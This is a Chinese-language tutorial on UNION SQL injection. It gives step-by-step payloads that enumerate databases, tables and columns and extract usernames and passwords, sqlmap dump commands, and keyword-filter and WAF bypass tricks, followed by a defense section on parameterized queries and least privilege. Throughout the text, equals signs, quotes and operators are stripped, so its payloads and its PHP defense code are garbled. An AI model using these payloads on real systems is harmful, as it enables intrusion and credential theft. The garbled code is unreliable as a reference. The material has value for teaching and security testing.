SQL注入实战:UNION注入原理、手工利用与自动化工具防御

发布时间:2026/6/26 17:06:29
SQL注入实战:UNION注入原理、手工利用与自动化工具防御 1. 项目概述从一次“意外”的数据泄露说起几年前我还在负责一个内部管理系统的安全审计。那是一个风和日丽的下午开发同事跑过来说后台某个查询用户列表的页面“好像有点慢而且偶尔会报错”。我打开那个看起来平平无奇的搜索框输入了一个单引号‘页面直接返回了一个数据库错误暴露了完整的SQL语句和表结构。那一刻我心里“咯噔”一下——典型的字符型SQL注入漏洞。更深入测试后我发现这个漏洞点恰好可以利用UNION查询将管理员的账号密码直接“联合查询”出来。这次经历让我深刻意识到UNION注入UNION SQL Injection远不是教科书里的一个概念而是攻击者手中一把锋利且直接的“万能钥匙”能绕过常规查询逻辑直接从数据库中“抽取”任意数据。所谓UNION注入是SQL注入攻击中一种极为高效和常用的技术。它的核心在于攻击者利用Web应用程序未对用户输入进行充分过滤的漏洞在原始SQL查询语句中插入UNION或UNION ALL操作符将恶意构造的查询语句“拼接”到原有查询之后一并执行。这样一来攻击者就能突破原有查询的限制从数据库的其他表、甚至其他数据库中查询出本无权访问的敏感信息例如用户凭证、个人信息、交易记录等。对于安全测试人员而言掌握UNION注入是Web安全入门的必修课对于开发者理解其原理则是编写安全代码、避免此类漏洞的基石。本文将从一个实战演练者的角度彻底拆解UNION注入的每一个技术细节、攻击步骤和防御思考无论你是刚接触安全的新手还是想巩固知识的老兵都能从中获得可直接复现的干货。2. UNION注入的核心原理与前置条件剖析要理解UNION注入必须先吃透UNION操作符在标准SQL中的行为这是所有攻击技巧的根基。2.1 UNION操作符的数据库原生行为UNION用于合并两个或多个SELECT语句的结果集。关键规则在于列数必须相同每个SELECT语句必须拥有相同数量的列。列数据类型必须兼容对应列的数据类型应该相似例如字符型对字符型数值型对数值型否则数据库可能会尝试隐式转换或直接报错。默认去除重复行UNION会自动删除结果集中的重复行。如果希望保留所有行包括重复的则需使用UNION ALL通常UNION ALL执行效率更高在注入中也更常用。一个简单的合法例子是SELECT name, email FROM users WHERE id1 UNION ALL SELECT username, password FROM admins WHERE statusactive;这条语句会返回一个包含两列的结果集第一行来自users表后续行来自admins表。注意在注入中我们通常更关心列数和列的数据类型而不是具体列名。数据库服务器是根据列的位置顺序来合并结果集的。2.2 注入点与UNION的“焊接”过程一个存在注入漏洞的Web应用其后端代码可能如下以PHP为例$id $_GET[id]; // 直接从用户输入获取未过滤 $sql SELECT title, content FROM articles WHERE id . $id; $result mysqli_query($conn, $sql);当攻击者提交id1 UNION SELECT username, password FROM users--时最终执行的SQL语句变为SELECT title, content FROM articles WHERE id 1 UNION SELECT username, password FROM users--这里--是SQL注释符用于注释掉原查询中可能存在的后续内容如LIMIT 1或另一个单引号确保我们的UNION语句能完整执行。这个过程就像把两段不同的SQL“焊接”在了一起让数据库一并执行。2.3 成功实施UNION注入的三大前提并非所有SQL注入点都能利用UNION。成功需要满足三个条件这也是我们手工测试时需要逐步验证的注入点类型支持多语句或查询拼接注入点必须位于一个SELECT语句中并且应用程序会将注入内容作为SQL语法的一部分执行而不是当作纯数据处理。通常能够报出数据库错误的注入点报错注入有很大概率支持UNION。原始查询的列数可知我们必须精确知道原始SELECT语句查询了多少列才能构造出列数相同的恶意UNION查询。这是UNION注入的第一步也是关键一步。至少有一列的数据类型适合回显Web页面需要将查询结果中的某一列或某几列内容显示出来回显点。我们需要找到这些回显列在结果集中的位置第几列并且确保我们UNION查询中对应列的数据类型能被页面正常显示通常是字符串类型。如果页面不回显数据UNION注入虽然可能执行但无法直接获取数据需要结合其他技术如盲注。3. 手工注入实战步步为营的信息抽取理论讲完我们进入实战。假设我们面对一个简单的靶场环境如Pikachu、DVWA的SQL注入关卡其URL形如http://target.com/vul.php?id1。下面我将以攻击者白帽子测试视角完整演示手工UNION注入的七步流程。3.1 第一步确认注入点与类型首先我们需要验证漏洞是否存在并判断其类型。基础探测提交id1页面正常显示文章1的内容。提交id1数字型加单引号观察页面。如果页面报错显示数据库错误信息说明可能存在字符型注入。如果页面显示异常空白、与id1不同或报错说明存在注入点。如果页面正常尝试id1双引号。类型判断这是关键决定了后续Payload的构造方式。数字型注入如果id1 AND 11返回正常id1 AND 12返回异常或空白则很可能是数字型。原始SQL可能为SELECT ... WHERE id $id。字符型注入如果id1 AND 11返回正常id1 AND 12返回异常则很可能是字符型。原始SQL可能为SELECT ... WHERE id $id。字符型注入需要处理闭合引号的问题。实操心得在测试时我习惯先用id1和id1快速试探。如果都报错再尝试id1\转义单引号如果页面恢复正常则说明是字符型且使用了反斜杠转义存在宽字节注入等更复杂场景的可能性。第一步的准确判断能为后续节省大量时间。3.2 第二步确定原始查询的列数Order By探测这是UNION注入的基石。我们使用ORDER BY子句来探测因为它根据指定列索引排序如果索引超出实际列数就会报错。Payload序列id1 ORDER BY 1-- # 正常 id1 ORDER BY 2-- # 正常 id1 ORDER BY 3-- # 正常 id1 ORDER BY 4-- # 报错说明原始查询只有3列通过递增数字直到页面报错报错前的那个数字就是列数。本例中列数为3。为什么不用UNION SELECT NULL, NULL...直接试因为在未知列数时盲目尝试UNION可能会因为列数不匹配而直接导致页面整体错误不如ORDER BY探测来得稳健和精确。3.3 第三步寻找数据回显点知道有3列后我们需要确认哪几列的数据会被输出到网页上以及它们适合显示什么类型的数据。Payloadid-1 UNION SELECT 1, 2, 3--为什么是id-1这是一个重要技巧。我们将原始查询的条件设为不可能成立的值如-1或一个不存在的ID这样原查询的结果集就为空。页面显示的内容将完全来自我们UNION后面的SELECT 1,2,3。这能让我们清晰地看到数字“1”、“2”、“3”分别出现在页面的什么位置这些位置就是可用的回显点。如果页面显示了“2”和“3”说明第2列和第3列是回显点。数字1、2、3本身是整数但也常用于测试因为数据库通常能将整数转换为字符串显示。进阶测试数据类型兼容性id-1 UNION SELECT a, b, c--将所有列替换为字符串确保页面能正常显示字符串内容。如果某个位置显示异常可能该列期望数值型但在UNION时字符串通常也能被兼容。3.4 第四步获取数据库元信息现在我们可以把回显点例如第2列替换为我们想查询的数据库信息函数。数据库版本id-1 UNION SELECT 1, version(), 3--version()MySQL/PostgreSQLversion或SELECT versionMySQL/SQL ServerSELECT sqlite_version()SQLite当前数据库名id-1 UNION SELECT 1, database(), 3--database()MySQLSELECT DB_NAME()SQL Server当前数据库用户id-1 UNION SELECT 1, user(), 3--这些信息至关重要它们告诉你攻击的目标是什么以及你可能拥有什么权限。3.5 第五步枚举数据库与表结构在MySQL中元数据所有数据库、表、列的信息存储在名为information_schema的默认数据库中。这是UNION注入获取数据结构的核心。列出所有数据库id-1 UNION SELECT 1, schema_name, 3 FROM information_schema.schemata--这可能会返回多行结果。在Web回显中如果页面通常只显示一行如文章详情页我们需要用LIMIT子句逐条读取id-1 UNION SELECT 1, schema_name, 3 FROM information_schema.schemata LIMIT 0,1-- # 第一行 id-1 UNION SELECT 1, schema_name, 3 FROM information_schema.schemata LIMIT 1,1-- # 第二行通过不断递增LIMIT N,1中的N来遍历。关注非系统库如mysql,information_schema,performance_schema之外。列出指定数据库中的所有表 假设我们找到了一个目标数据库pikachu。id-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schemapikachu LIMIT 0,1--同样使用LIMIT进行遍历。寻找像users,admin,customer,password这类敏感表名。3.6 第六步枚举表中的列名假设我们怀疑pikachu数据库中的users表存有凭证。列出users表的所有列id-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schemapikachu AND table_nameusers LIMIT 0,1--遍历寻找username,user,passwd,password,hash,email等列名。3.7 第七步最终一击——抽取敏感数据现在我们知道了数据库(pikachu)、表(users)、列(username,password)。可以构造最终查询来抽取数据。Payloadid-1 UNION SELECT 1, username, password FROM pikachu.users--或者如果当前数据库上下文已经是pikachu可以简化为id-1 UNION SELECT 1, username, password FROM users--如果页面设计只显示一行同样需要结合LIMIT或GROUP_CONCAT()函数。使用GROUP_CONCAT()一次性获取所有数据MySQL 这是一个非常高效的技术避免频繁修改LIMIT。id-1 UNION SELECT 1, GROUP_CONCAT(username), GROUP_CONCAT(password) FROM users--GROUP_CONCAT()函数会将该列所有行的值用逗号连接成一个字符串返回。但要注意结果长度受group_concat_max_len变量限制超长会被截断。注意事项在实际测试中password字段存储的很可能不是明文而是MD5、SHA1或bcrypt哈希值。你需要识别哈希类型通过长度和字符集判断然后进行破解彩虹表、碰撞。这属于获取数据后的后续工作但作为测试者发现明文存储密码是更严重的安全问题。4. 高级技巧与场景化Payload构造掌握了基本流程后一些复杂场景和技巧能让你如虎添翼。4.1 处理复杂的查询闭合与注释字符型注入的闭合如果原始查询是SELECT ... WHERE id$id我们的Payload需要先闭合前面的引号。Payload模板-1 UNION SELECT 1,2,3--解释-1使原查询变为WHERE id-1我们添加的单引号闭合了字符串。--或#用于注释掉原查询末尾可能存在的另一个单引号。在URL中代表空格确保注释符生效。多种注释符--注意后面有个空格SQL标准注释符在MySQL、PostgreSQL、SQL Server中常用。#MySQL的注释符。/* */多行注释可用于绕过某些简单的空格过滤如UNION/*123*/SELECT。4.2 数据类型不匹配的处理有时UNION查询的对应列数据类型必须严格匹配。例如原查询第一列是整数我们UNION的第一列也必须是整数或可转换为整数的值。技巧使用NULL。NULL可以匹配任何数据类型。id-1 UNION SELECT NULL, NULL, NULL-- # 先测试列数 id-1 UNION SELECT NULL, version(), NULL-- # 仅在有回显的列放置函数如果version()在整数列回显异常可以尝试用CAST()或转换函数id-1 UNION SELECT 1, CAST(version AS CHAR), 3--4.3 在有限回显下的信息获取有时页面只有一个回显点如只显示文章标题。我们可以利用字符串连接函数将多条信息合并到一列输出。MySQLCONCAT(username, :, password)id-1 UNION SELECT 1, CONCAT(username, ---, password), 3 FROM users--SQL Serverusername : passwordOracleusername || : || passwordPostgreSQLusername || : || password结合GROUP_CONCAT()MySQL或STRING_AGG()PostgreSQL/SQL Server 2017可以一次性获取所有行的连接值。4.4 UNION注入与SQLite、Access等数据库SQLite没有information_schema。获取表名需要查询sqlite_master表UNION SELECT 1, name, 3 FROM sqlite_master WHERE typetable--获取列名相对困难可能需要通过错误消息或盲注来推测。对于“sqlite limit 1可以用union吗”这个问题答案是可以。LIMIT子句作用于整个UNION查询的结果集。例如SELECT a FROM table1 UNION SELECT b FROM table2 LIMIT 1;会从合并后的结果中返回第一行。Microsoft Access属于文件型数据库没有系统表查询的标准SQL方式。通常需要暴力猜解表名和列名或利用已知的常见表结构。5. 自动化工具辅助Sqlmap在UNION注入中的运用手工注入是理解原理的最佳方式但在时间紧迫或面对复杂过滤时自动化工具如Sqlmap能极大提升效率。它本质上自动化了我们上面手工做的所有步骤。针对一个疑似注入点的基础检测命令sqlmap -u http://target.com/vul.php?id1 --batch--batch参数会让Sqlmap以非交互模式运行自动选择默认选项。当Sqlmap检测到注入点并确认为UNION注入时我们可以进一步枚举当前数据库sqlmap -u http://target.com/vul.php?id1 --current-db枚举指定数据库的所有表sqlmap -u http://target.com/vul.php?id1 -D pikachu --tables枚举指定表的所有列sqlmap -u http://target.com/vul.php?id1 -D pikachu -T users --columnsdump导出指定列的数据sqlmap -u http://target.com/vul.php?id1 -D pikachu -T users -C username,password --dumpSqlmap的高级技巧指定注入技术如果Sqlmap自动检测不准确可以强制使用UNION查询技术--techniqueU处理复杂过滤如果遇到WAF或过滤可以尝试调整载荷级别和风险级别--level3 --risk3。Level越高测试的Payload越多越复杂Risk越高测试的风险操作如INSERT越多。使用代理观察--proxyhttp://127.0.0.1:8080可以将Sqlmap的流量导入到Burp Suite等代理中方便我们观察其Payload构造和学习。实操心得不要过度依赖工具。我建议的流程是先用手工方法确认漏洞、理解上下文再用Sqlmap进行大规模的数据枚举。这样既能锻炼基本功又能提高效率。同时永远在授权环境下测试。6. 从攻击到防御根治UNION注入的编码实践理解了攻击防御就有了清晰的靶子。防御UNION注入的核心原则是永远不要将用户输入直接拼接为SQL语句。6.1 首选方案参数化查询预编译语句这是最有效、最根本的防御手段。它让SQL语句的“结构”和“数据”分离。以PHP PDO为例// 1. 连接数据库 $pdo new PDO($dsn, $user, $pass); // 2. 准备SQL语句结构用占位符(?)表示数据位置 $stmt $pdo-prepare(SELECT title, content FROM articles WHERE id ?); // 3. 将用户输入的数据($id)绑定到占位符上 $stmt-execute([$id]); // 4. 获取结果 $result $stmt-fetchAll();在这个过程中数据库引擎先编译SELECT ... WHERE id ?这个语句模板。无论后续传入的$id是什么值即使是1 UNION SELECT ...它都只会被当作一个纯粹的“数据”值比如字符串1 UNION SELECT ...去匹配id字段而不会被重新解释为SQL语法的一部分。UNION、SELECT等关键字在这里失去了命令的意义。JavaPreparedStatement、Pythonsqlite3, psycopg2、.NETSqlParameter等所有主流语言和框架都支持此方式。6.2 严格输入验证与过滤参数化查询是黄金法则但在某些遗留代码或复杂场景下可能还需辅助其他措施。白名单验证对于已知有限集合的输入如分类category、状态status使用白名单。$allowed_categories [news, blog, tutorial]; if (!in_array($_GET[category], $allowed_categories)) { $category news; // 赋予安全默认值 } else { $category $_GET[category]; }类型强制转换对于明确是数字型的输入如ID在拼接前强制转换为整数。$id (int)$_GET[id]; // 非数字字符会被转换为0或截断 $sql SELECT ... WHERE id . $id;注意这只能防御数字型注入且要小心转换逻辑。转义函数谨慎使用如MySQL的mysqli_real_escape_string()。它会对特殊字符如单引号进行转义使其变成普通字符。但它的使用必须结合正确的引号包裹且容易因忘记引号或字符集问题宽字节注入而失效。它不应作为主要防御手段而是参数化查询不可用时的最后补充。6.3 最小权限原则与纵深防御数据库账户权限限制Web应用连接数据库的账户不应拥有DROP、CREATE TABLE、FILE等高危权限。最好只赋予其特定库的SELECT、INSERT、UPDATE、DELETE权限。这样即使发生注入危害也被限制在特定范围。Web应用错误处理禁止向用户显示详细的数据库错误信息。应使用自定义的通用错误页面避免泄露数据库类型、表结构等线索。Web应用防火墙WAF在网络边界或应用层部署WAF可以识别并阻断常见的SQL注入攻击模式。但WAF是缓解措施不能替代安全的代码。7. 常见问题与排查技巧实录在实际测试和防御中你会遇到各种“坑”。这里记录一些典型问题和解决思路。7.1 手工注入时页面无回显怎么办如果提交UNION SELECT 1,2,3后页面没有显示数字“1,2,3”可能有以下情况注入点非回显型盲注页面不会直接输出查询结果但会根据查询结果的真假布尔盲注或返回时间时间盲注表现出差异。此时UNION注入可能不适用需要转向布尔盲注或时间盲注技术。回显位置不在主页面数据可能被输出到HTML注释、JavaScript变量、HTTP响应头或页面的某个隐藏标签中。查看网页源代码。列数据类型不兼容导致显示空白尝试将UNION后的所有列都换成NULL或字符串‘a’。有额外的LIMIT子句原查询可能有LIMIT 1导致UNION后的结果被截断。尝试用id-1使原查询结果为空或者研究如何注释掉LIMIT。7.2 使用Sqlmap检测不出注入点检查是否存在Token或动态参数有些网站每次请求需要携带CSRF Token或会话ID。使用--cookie或--data参数提交。目标有较强的WAF使用--random-agent随机化User-Agent使用--delay设置请求延迟使用--tamper脚本对Payload进行混淆如space2comment将空格替换为注释。注入点非常规注入点可能在Cookie、HTTP Header如X-Forwarded-For或POST数据的JSON部分。Sqlmap支持用-H、--cookie、--data指定这些位置。确认漏洞真实存在回归手工测试用最简单的方式如单引号验证。7.3 遇到过滤了UNION、SELECT等关键词怎么办大小写变形UnIoN SeLeCt某些简单的过滤可能只匹配全小写。双写绕过UNIUNIONON SELSELECTECT如果过滤方式是删除关键词删除中间的UNION后剩下的部分又组成了UNION。内联注释绕过MySQL/*!UNION*/ /*!SELECT*/ 1,2,3。/*!...*/在MySQL中会被执行。使用等价函数或语法如果SELECT被过滤看是否能使用HANDLERMySQL等替代语法但这在注入中不常见。更可能的是需要转向基于错误或基于时间的盲注它们对关键词的依赖和暴露程度不同。7.4 防御代码写了参数化查询为什么还有漏洞错误的使用方式错误地使用了字符串拼接后再交给prepare。// 错误拼接仍在PHP层面完成预编译失去意义 $sql SELECT * FROM users WHERE id . $id; $stmt $pdo-prepare($sql); // 这里prepare的已经是拼接好的语句使用了“模拟预处理”某些数据库驱动如旧版PDO with MySQL默认使用“模拟预处理”emulated prepares它是在客户端进行参数转义而非真正的数据库端预编译。在某些边缘情况下可能存在风险。应确保启用真正的预编译如PDO中设置PDO::ATTR_EMULATE_PREPARES false。动态表名/列名参数化查询的占位符不能用于表名、列名等SQL标识符。如果这些来自用户输入必须使用白名单严格校验。手工UNION注入的每一步都像是在和数据库进行一场精密的对话你需要理解它的语法规则并巧妙地引导它说出秘密。从确认注入点到最终拖出数据这个过程充满了逻辑的趣味性。而防御的本质就是让这种“对话”变得规范、刻板不给攻击者任何曲解语义的机会。参数化查询正是这样一把锁它严格区分了指令和数据。在构建或审查任何涉及数据库交互的功能时把“使用参数化查询”作为一条不可逾越的红线是杜绝SQL注入最有效、最省心的做法。